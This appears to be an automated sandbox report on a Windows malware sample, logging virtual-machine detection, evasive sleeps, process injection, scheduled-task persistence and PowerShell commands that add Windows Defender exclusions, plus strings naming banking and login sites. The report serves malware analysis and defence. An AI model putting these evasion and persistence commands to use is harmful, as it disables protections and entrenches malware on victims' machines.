Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: I5pvP0CU6M.exe PID: 2432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VcihjWRO.exe PID: 7224, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: 1050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: 4CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: 91D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: A1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: A3E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: B3E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: BA00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: CA00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: DA00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: 2A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Memory allocated: 28C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: E50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 2980000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 2780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 8A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 9A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 9C00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: AC00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: B000000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: C000000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: D000000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 18C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 3300000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Memory allocated: 3130000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4462	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5415	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Window / User API: threadDelayed 3460	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Window / User API: threadDelayed 3030	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Window / User API: threadDelayed 631
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Window / User API: threadDelayed 5428

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe TID: 3748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep count: 4462 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4084	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6288	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe TID: 7440	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe TID: 5720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe TID: 2948	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe TID: 7324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe TID: 7852	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe TID: 7768	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe TID: 7644	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Thread delayed: delay time: 922337203685477

Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: tmp3B70.tmp.17.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: tmp3B70.tmp.17.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: tmp3B70.tmp.17.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: tmp3B70.tmp.17.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: tmp3B70.tmp.17.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: VcihjWRO.exe, 00000011.00000002.2424162856.00000000016CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllzzv
Source: tmp3B70.tmp.17.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: I5pvP0CU6M.exe, 00000009.00000002.2323363497.0000000000BDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp3B70.tmp.17.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: tmp3B70.tmp.17.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: tmp3B70.tmp.17.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.000000000301A000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002C62000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002FD2000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002B12000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp, I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002CD4000.00000004.00000800.00020000.00000000.sdmp, VcihjWRO.exe, 00000011.00000002.2427530855.000000000366C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: tmp3B70.tmp.17.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: tmp3B70.tmp.17.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: tmp3B70.tmp.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: tmp3B70.tmp.17.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: tmp3B70.tmp.17.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: tmp3B70.tmp.17.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: tmp3B70.tmp.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: tmp3B70.tmp.17.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: tmp3B70.tmp.17.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe"
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe

Memory written: C:\Users\user\AppData\Roaming\VcihjWRO.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process created: C:\Users\user\Desktop\I5pvP0CU6M.exe "C:\Users\user\Desktop\I5pvP0CU6M.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp"
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe "C:\Users\user\AppData\Roaming\VcihjWRO.exe"
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process created: C:\Users\user\AppData\Roaming\VcihjWRO.exe "C:\Users\user\AppData\Roaming\VcihjWRO.exe"

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Users\user\Desktop\I5pvP0CU6M.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
